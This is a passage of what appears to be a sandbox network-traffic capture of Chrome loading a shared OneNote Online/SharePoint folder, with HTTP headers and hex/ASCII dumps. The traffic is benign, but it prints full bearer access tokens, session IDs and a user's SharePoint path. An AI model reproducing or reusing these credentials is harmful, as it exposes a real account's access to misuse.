6085,846166132,876178018,876178789,947352439,963472182,963915891,1630679666,1630679667,1633958006,1647605351,1647863416,1664576567,1698260075,1718235956,1765045358,1802139698,1986689397,1986689633,1986689647,1986748791,1986748793,1986749030,1986749288,1986749546,2004443760,2004444278,2004448354 X-InvalidUlsJson: nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-MIA30r5a&DC=PUS6&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF000091BE X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 1A08A2E205A143479C133787B7AB7D32 Ref B: MIA301000101019 Ref C: 2024-04-26T07:59:13Z Date: Fri, 26 Apr 2024 07:59:12 GMT Connection: close
2024-04-26 07:59:13 UTC	682	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int
2024-04-26 07:59:13 UTC	526	IN	Data Raw: 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 Data Ascii: rdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Ser

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49768	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:13 UTC	2554	OUT	POST /o/RemoteUls.ashx?build=16.0.17601.41008&waccluster=PUS6&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-BrowserUlsBeacon: [{"Index":1,"MsSinceStart":1556,"Value":"Making GetCells Request","Type":"BootLogs"},{"Index":2,"MsSinceStart":1556,"Value":"https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected","Type":"Referrer"}] sec-ch-ua-platform: "Windows" Accept: / Origin: https://usc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-04-26 07:59:13 UTC	1625	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 7a0a4342-af01-49fe-be39-fbe3d73b6bcb X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF0000DD5C X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://usc-onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-MIA30r5b&DC=PUS6&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF0000DD5C X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,2pfz=afd_wordcapacity_4_control,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_wordcapacity_4_control,afd_excelslicetest X-MSEdge-Ref: Ref A: 28B701D924F7409AA98884218264E699 Ref B: MIA301000104019 Ref C: 2024-04-26T07:59:13Z Date: Fri, 26 Apr 2024 07:59:13 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49769	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:13 UTC	3631	OUT	POST /o/OneNote.ashx HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 4693 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-ServerSideRendering: RenderingNoImages X-OfficeVersion: 16.0.17601.41008 X-Key: n6IDxhd6wnn64lDiT/v29/IwfRsPGkZ9Q2pSUeWOyWY=;mFis2L6vMsBNOxnijIg4A5JcpQZjdzxFJ7ALVqUl65I=,638497151517007624 X-WacUserAgent: MSWACONSync X-Requested-With: XMLHttpRequest X-xhr: 1 X-SessionStartDimensions: {"Application":"OneNote","Browser":"Chrome","BrowserMajorVersion":"117","BrowserVersion":"117.0.0","Host":"SharePoint Online","IsSynthetic":"False","Os":"Windows","Ring":"5","RoutedVia":"AzureFrontDoor","SessionOrigin":"SHARING.CLIENTREDIRECT","UiHost":"sharepointcom","UserSessionApplicationMode":"Edit","WACDatacenter":"PUS6"} sec-ch-ua-platform: "Windows" X-AccessToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL3VzaWdyb3Vwcy1teS5zaGFyZXBvaW50LmNvbUA5ZjVhZTVlMC1mNDY4LTQ0YzItOGJhYS1lNmU3YmMzNmM3MTAiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNDExODM0OSIsImV4cCI6IjE3MTQxNTQzNDkiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwic2hhcmluZ2lkIjoiOHZmbmpOcEVEMGFsTnNkZEZWeU83dyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNDI3NWM3Y2Q5NTU5NDliNTllMDA4OTEzZTY3YjI0MjY7c1ZtbkxOWURWd2dubCtuUXVkQXBEeVdvMkdjPTtEZWZhdWx0OzVjZWViOGY3NDc1OTQ5ZjJhOGM3YThlODQ3YmRmYWMyOztUcnVlOzs7NTEyOzcyYjkyMmExLTUwOGQtNTAwMC0xZTNmLWFiOWZjMmJhOTc1ZSIsImZpZCI6IjE5MzMwNiJ9.ePS3sOzS493VKhzLhTVvLpZO116QM2mYnfdRC-lGpxzBDH9_YJe9eXoQ3MIJgGNGZp5_8TcOZEr15P4Pk9mgKPCwE7CMq1RYtBsbRwUv9rHGMrcs5qQl1eR7DrAnof1hHaHtbZ0b55Cyjb6Nnfh0xymyWvjTqJ1exVPobvfSPUnuxEjLaaLLkv9muiYzVNqWhQRx_uD2RA7fUkT1ewDaUGa43dC2zN3y1tEpFDPrJjR83Ot3WdRqh1IGKH8uc9FE4VdI8k_Y8zjLO-AXbtnFCEqMMfIBFQV1dK6GIUAwWeti0adP_kPPsz3XCUmB9yDFmG6Jt31iyv47vycxWbiBBg X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json; charset=UTF-8 X-UserType: WOPI X-WacCluster: PUS6 Accept: / Origin: https://usc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-04-26 07:59:13 UTC	4693	OUT	Data Raw: 7b 22 4d 6f 64 65 22 3a 31 2c 22 73 72 73 22 3a 5b 5b 31 2c 7b 22 46 69 6c 65 49 64 22 3a 22 57 4f 50 49 73 72 63 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 75 73 69 67 72 6f 75 70 73 25 32 44 6d 79 25 32 45 73 68 61 72 65 70 6f 69 6e 74 25 32 45 63 6f 6d 25 32 46 70 65 72 73 6f 6e 61 6c 25 32 46 6a 73 25 35 46 75 73 69 67 72 6f 75 70 73 25 35 46 63 6f 6d 25 32 46 25 35 46 76 74 69 25 35 46 62 69 6e 25 32 46 77 6f 70 69 25 32 45 61 73 68 78 25 32 46 66 6f 6c 64 65 72 73 25 32 46 34 32 37 35 63 37 63 64 39 35 35 39 34 39 62 35 39 65 30 30 38 39 31 33 65 36 37 62 32 34 32 36 26 61 63 63 65 73 73 5f 74 6f 6b 65 6e 3d 65 79 4a 30 65 58 41 69 4f 69 4a 4b 56 31 51 69 4c 43 4a 68 62 47 63 69 4f 69 4a 53 55 7a 49 31 4e 69 49 73 49 6e 67 31 64 43 49 36 49 6b 52 Data Ascii: {"Mode":1,"srs":[[1,{"FileId":"WOPIsrc=https%3A%2F%2Fusigroups%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fjs%5Fusigroups%5Fcom%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkR
2024-04-26 07:59:14 UTC	1119	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 135212 Content-Type: application/json; charset=utf-8 Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: c486f3c6-5026-4d2a-9176-25aea2d69434 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF0000DD63 X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF0000DD63 X-WacFrontEnd: SN3PEPF0000DD63 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,2oge=afd_wordcapacity_3,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_wordcapacity_3,afd_excelslicetest X-MSEdge-Ref: Ref A: 7EBE778FAAE74AE48A52ABA94BD196BF Ref B: MIA301000105029 Ref C: 2024-04-26T07:59:13Z Date: Fri, 26 Apr 2024 07:59:14 GMT Connection: close
2024-04-26 07:59:14 UTC	143	IN	Data Raw: ef bb bf 7b 22 52 65 73 70 6f 6e 73 65 73 22 3a 5b 5b 31 2c 7b 22 4f 70 65 72 61 74 69 6f 6e 49 64 22 3a 31 2c 22 53 74 61 74 75 73 43 6f 64 65 22 3a 30 2c 22 52 61 77 43 65 6c 6c 53 74 6f 72 61 67 65 45 72 72 6f 72 43 6f 64 65 22 3a 22 22 2c 22 53 65 72 76 65 72 50 61 67 65 53 74 61 74 73 54 72 61 63 65 22 3a 22 22 2c 22 46 69 6c 65 49 64 22 3a 22 57 4f 50 49 73 72 63 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 Data Ascii: {"Responses":[[1,{"OperationId":1,"StatusCode":0,"RawCellStorageErrorCode":"","ServerPageStatsTrace":"","FileId":"WOPIsrc=https\u00253A\u002
2024-04-26 07:59:14 UTC	8192	IN	Data Raw: 35 32 46 5c 75 30 30 32 35 32 46 75 73 69 67 72 6f 75 70 73 5c 75 30 30 32 35 32 44 6d 79 5c 75 30 30 32 35 32 45 73 68 61 72 65 70 6f 69 6e 74 5c 75 30 30 32 35 32 45 63 6f 6d 5c 75 30 30 32 35 32 46 70 65 72 73 6f 6e 61 6c 5c 75 30 30 32 35 32 46 6a 73 5c 75 30 30 32 35 35 46 75 73 69 67 72 6f 75 70 73 5c 75 30 30 32 35 35 46 63 6f 6d 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 35 46 76 74 69 5c 75 30 30 32 35 35 46 62 69 6e 5c 75 30 30 32 35 32 46 77 6f 70 69 5c 75 30 30 32 35 32 45 61 73 68 78 5c 75 30 30 32 35 32 46 66 6f 6c 64 65 72 73 5c 75 30 30 32 35 32 46 34 32 37 35 63 37 63 64 39 35 35 39 34 39 62 35 39 65 30 30 38 39 31 33 65 36 37 62 32 34 32 36 5c 75 30 30 32 36 61 63 63 65 73 73 5f 74 6f 6b 65 6e 3d 65 79 4a 30 65 58 41 69 4f 69 4a 4b 56 31 Data Ascii: 52F\u00252Fusigroups\u00252Dmy\u00252Esharepoint\u00252Ecom\u00252Fpersonal\u00252Fjs\u00255Fusigroups\u00255Fcom\u00252F\u00255Fvti\u00255Fbin\u00252Fwopi\u00252Eashx\u00252Ffolders\u00252F4275c7cd955949b59e008913e67b2426\u0026access_token=eyJ0eXAiOiJKV1
2024-04-26 07:59:14 UTC	7257	IN	Data Raw: 4f 54 51 35 5a 6a 4a 68 4f 47 4d 33 59 54 68 6c 4f 44 51 33 59 6d 52 6d 59 57 4d 79 4f 7a 74 55 63 6e 56 6c 4f 7a 73 37 4e 54 45 79 4f 7a 63 79 59 6a 6b 79 4d 6d 45 78 4c 54 55 77 4f 47 51 74 4e 54 41 77 4d 43 30 78 5a 54 4e 6d 4c 57 46 69 4f 57 5a 6a 4d 6d 4a 68 4f 54 63 31 5a 53 49 73 49 6d 5a 70 5a 43 49 36 49 6a 45 35 4d 7a 4d 77 4e 69 4a 39 5c 75 30 30 32 35 32 45 65 50 53 33 73 4f 7a 53 34 39 33 56 4b 68 7a 4c 68 54 56 76 4c 70 5a 4f 31 31 36 51 4d 32 6d 59 6e 66 64 52 43 5c 75 30 30 32 35 32 44 6c 47 70 78 7a 42 44 48 39 5c 75 30 30 32 35 35 46 59 4a 65 39 65 58 6f 51 33 4d 49 4a 67 47 4e 47 5a 70 35 5c 75 30 30 32 35 35 46 38 54 63 4f 5a 45 72 31 35 50 34 50 6b 39 6d 67 4b 50 43 77 45 37 43 4d 71 31 52 59 74 42 73 62 52 77 55 76 39 72 48 47 4d 72 Data Ascii: OTQ5ZjJhOGM3YThlODQ3YmRmYWMyOztUcnVlOzs7NTEyOzcyYjkyMmExLTUwOGQtNTAwMC0xZTNmLWFiOWZjMmJhOTc1ZSIsImZpZCI6IjE5MzMwNiJ9\u00252EePS3sOzS493VKhzLhTVvLpZO116QM2mYnfdRC\u00252DlGpxzBDH9\u00255FYJe9eXoQ3MIJgGNGZp5\u00255F8TcOZEr15P4Pk9mgKPCwE7CMq1RYtBsbRwUv9rHGMr
2024-04-26 07:59:14 UTC	8192	IN	Data Raw: 64 79 62 33 56 77 63 79 31 74 65 53 35 7a 61 47 46 79 5a 58 42 76 61 57 35 30 4c 6d 4e 76 62 55 41 35 5a 6a 56 68 5a 54 56 6c 4d 43 31 6d 4e 44 59 34 4c 54 51 30 59 7a 49 74 4f 47 4a 68 59 53 31 6c 4e 6d 55 33 59 6d 4d 7a 4e 6d 4d 33 4d 54 41 69 4c 43 4a 70 63 33 4d 69 4f 69 49 77 4d 44 41 77 4d 44 41 77 4d 79 30 77 4d 44 41 77 4c 54 42 6d 5a 6a 45 74 59 32 55 77 4d 43 30 77 4d 44 41 77 4d 44 41 77 4d 44 41 77 4d 44 42 41 4f 54 41 78 4e 44 41 78 4d 6a 49 74 4f 44 55 78 4e 69 30 78 4d 57 55 78 4c 54 68 6c 5a 6d 59 74 4e 44 6b 7a 4d 44 51 35 4d 6a 51 77 4d 54 6c 69 49 69 77 69 62 6d 4a 6d 49 6a 6f 69 4d 54 63 78 4e 44 45 78 4f 44 4d 31 4e 43 49 73 49 6d 56 34 63 43 49 36 49 6a 45 33 4d 54 51 78 4e 54 51 7a 4e 54 51 69 4c 43 4a 75 59 57 31 6c 61 57 51 69 4f Data Ascii: dyb3Vwcy1teS5zaGFyZXBvaW50LmNvbUA5ZjVhZTVlMC1mNDY4LTQ0YzItOGJhYS1lNmU3YmMzNmM3MTAiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNDExODM1NCIsImV4cCI6IjE3MTQxNTQzNTQiLCJuYW1laWQiO
2024-04-26 07:59:14 UTC	8192	IN	Data Raw: 44 4d 34 4f 43 30 34 4d 6d 5a 6d 4f 44 4a 69 4e 57 46 6d 5a 54 67 69 4c 43 4a 6d 61 57 51 69 4f 69 49 78 4f 54 4d 7a 4d 44 59 69 66 51 5c 75 30 30 32 35 32 45 4a 36 44 49 41 63 79 41 6f 54 5a 5c 75 30 30 32 35 35 46 75 6c 59 38 46 43 6f 75 49 41 59 31 6d 36 5c 75 30 30 32 35 35 46 4f 65 32 42 31 43 6e 32 6a 52 49 57 31 47 4a 6f 73 49 58 4f 53 69 62 47 66 54 78 35 4d 49 30 74 31 54 47 75 4e 57 6b 37 5c 75 30 30 32 35 35 46 56 4c 58 67 6d 46 61 4b 55 6b 63 5c 75 30 30 32 35 35 46 68 4c 6f 62 77 59 48 73 75 49 62 31 63 5c 75 30 30 32 35 35 46 4d 77 74 48 4c 68 46 51 37 36 66 63 31 74 7a 31 34 6c 54 49 67 38 68 30 69 66 70 30 55 54 55 78 56 5c 75 30 30 32 35 32 44 33 33 72 57 4e 46 73 57 33 7a 36 4e 43 6d 4d 64 43 58 39 50 4d 73 76 53 34 52 6f 68 7a 64 32 48 Data Ascii: DM4OC04MmZmODJiNWFmZTgiLCJmaWQiOiIxOTMzMDYifQ\u00252EJ6DIAcyAoTZ\u00255FulY8FCouIAY1m6\u00255FOe2B1Cn2jRIW1GJosIXOSibGfTx5MI0t1TGuNWk7\u00255FVLXgmFaKUkc\u00255FhLobwYHsuIb1c\u00255FMwtHLhFQ76fc1tz14lTIg8h0ifp0UTUxV\u00252D33rWNFsW3z6NCmMdCX9PMsvS4Rohzd2H
2024-04-26 07:59:14 UTC	8192	IN	Data Raw: 34 30 31 64 66 36 7d 7b 32 36 7d 2c 7b 31 63 39 32 30 31 66 61 2d 62 36 35 66 2d 34 38 64 31 2d 39 62 31 30 2d 36 61 35 36 37 35 34 30 31 64 66 36 7d 7b 32 37 7d 2c 7b 31 63 39 32 30 31 66 61 2d 62 36 35 66 2d 34 38 64 31 2d 39 62 31 30 2d 36 61 35 36 37 35 34 30 31 64 66 36 7d 7b 32 38 7d 2c 7b 31 63 39 32 30 31 66 61 2d 62 36 35 66 2d 34 38 64 31 2d 39 62 31 30 2d 36 61 35 36 37 35 34 30 31 64 66 36 7d 7b 32 39 7d 2c 7b 31 63 39 32 30 31 66 61 2d 62 36 35 66 2d 34 38 64 31 2d 39 62 31 30 2d 36 61 35 36 37 35 34 30 31 64 66 36 7d 7b 33 30 7d 2c 7b 31 63 39 32 30 31 66 61 2d 62 36 35 66 2d 34 38 64 31 2d 39 62 31 30 2d 36 61 35 36 37 35 34 30 31 64 66 36 7d 7b 33 31 7d 2c 7b 31 63 39 32 30 31 66 61 2d 62 36 35 66 2d 34 38 64 31 2d 39 62 31 30 2d 36 61 35 Data Ascii: 401df6}{26},{1c9201fa-b65f-48d1-9b10-6a5675401df6}{27},{1c9201fa-b65f-48d1-9b10-6a5675401df6}{28},{1c9201fa-b65f-48d1-9b10-6a5675401df6}{29},{1c9201fa-b65f-48d1-9b10-6a5675401df6}{30},{1c9201fa-b65f-48d1-9b10-6a5675401df6}{31},{1c9201fa-b65f-48d1-9b10-6a5
2024-04-26 07:59:14 UTC	8192	IN	Data Raw: 64 31 2d 39 62 31 30 2d 36 61 35 36 37 35 34 30 31 64 66 36 7d 7b 33 33 7d 22 2c 35 33 36 38 37 38 34 35 37 2c 22 7b 31 63 39 32 30 31 66 61 2d 62 36 35 66 2d 34 38 64 31 2d 39 62 31 30 2d 36 61 35 36 37 35 34 30 31 64 66 36 7d 7b 33 33 7d 22 2c 36 30 33 39 38 36 39 37 35 2c 22 7b 31 63 39 32 30 31 66 61 2d 62 36 35 66 2d 34 38 64 31 2d 39 62 31 30 2d 36 61 35 36 37 35 34 30 31 64 66 36 7d 7b 35 30 7d 22 5d 7d 2c 7b 22 43 6c 61 73 73 49 64 22 3a 33 39 33 32 33 30 2c 22 4f 62 6a 65 63 74 49 64 22 3a 22 31 63 39 32 30 31 66 61 2d 62 36 35 66 2d 34 38 64 31 2d 39 62 31 30 2d 36 61 35 36 37 35 34 30 31 64 66 36 7c 35 30 22 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 31 33 34 32 32 35 30 37 36 2c 22 74 72 75 65 22 2c 32 36 38 34 34 32 38 37 38 2c 22 31 30 33 Data Ascii: d1-9b10-6a5675401df6}{33}",536878457,"{1c9201fa-b65f-48d1-9b10-6a5675401df6}{33}",603986975,"{1c9201fa-b65f-48d1-9b10-6a5675401df6}{50}"]},{"ClassId":393230,"ObjectId":"1c9201fa-b65f-48d1-9b10-6a5675401df6\|50","Properties":[134225076,"true",268442878,"103
2024-04-26 07:59:14 UTC	8192	IN	Data Raw: 34 38 64 31 2d 39 62 31 30 2d 36 61 35 36 37 35 34 30 31 64 66 36 7d 7b 31 33 39 7d 2c 7b 31 63 39 32 30 31 66 61 2d 62 36 35 66 2d 34 38 64 31 2d 39 62 31 30 2d 36 61 35 36 37 35 34 30 31 64 66 36 7d 7b 31 35 30 7d 2c 7b 31 63 39 32 30 31 66 61 2d 62 36 35 66 2d 34 38 64 31 2d 39 62 31 30 2d 36 61 35 36 37 35 34 30 31 64 66 36 7d 7b 31 39 34 7d 2c 7b 31 63 39 32 30 31 66 61 2d 62 36 35 66 2d 34 38 64 31 2d 39 62 31 30 2d 36 61 35 36 37 35 34 30 31 64 66 36 7d 7b 31 39 37 7d 2c 7b 31 63 39 32 30 31 66 61 2d 62 36 35 66 2d 34 38 64 31 2d 39 62 31 30 2d 36 61 35 36 37 35 34 30 31 64 66 36 7d 7b 32 30 32 7d 2c 7b 31 63 39 32 30 31 66 61 2d 62 36 35 66 2d 34 38 64 31 2d 39 62 31 30 2d 36 61 35 36 37 35 34 30 31 64 66 36 7d 7b 32 31 37 7d 22 5d 7d 2c 7b 22 43 